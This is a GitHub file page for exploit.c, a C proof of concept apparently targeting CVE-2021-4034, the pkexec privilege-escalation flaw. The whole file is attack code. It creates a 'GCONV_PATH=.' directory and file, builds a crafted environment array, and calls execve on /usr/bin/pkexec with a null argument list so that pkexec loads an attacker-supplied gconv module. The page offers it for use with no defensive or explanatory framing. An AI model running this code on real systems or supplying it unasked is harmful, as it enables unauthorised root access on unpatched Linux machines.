forked from LJP-TW/CVE-2021-4034
-
Notifications
You must be signed in to change notification settings - Fork 0
/
exploit.c
51 lines (42 loc) · 1.28 KB
/
exploit.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <errno.h>
#include <fcntl.h>
#include <langinfo.h>
#include <locale.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/syscall.h>
int main()
{
struct stat st = {0};
char* envp[] = {"yoyodiy", // <Env value>
"PATH=GCONV_PATH=.", // PATH=<Env name>=.
"SHELL=/yoyo/sh", // Trigger g_printerr
NULL};
setlocale(LC_ALL, "C");
printf("[*] Create GCONV_PATH=./yoyodiy\n");
if (stat("GCONV_PATH=.", &st) == -1) {
if (mkdir("GCONV_PATH=.", S_IRWXU | S_IRWXG | S_IRWXO) == -1) {
printf("Cannot create directory: %s\n", strerror(errno));
return 1;
}
}
if (stat("GCONV_PATH=./yoyodiy", &st) == -1) {
int fd = open("GCONV_PATH=./yoyodiy", O_WRONLY | O_APPEND | O_CREAT, 0755);
if (fd == -1) {
printf("Cannot create file: %s\n", strerror(errno));
return 1;
}
close(fd);
}
printf("[*] GoGo!\n");
// It will try to open <GCONV_PATH>/gconv-modules
// --> ./<Env value>/gconv-modules
// execve
syscall(0x3b, "/usr/bin/pkexec", NULL, envp);
// Never return
printf("You should not be here!\n");
}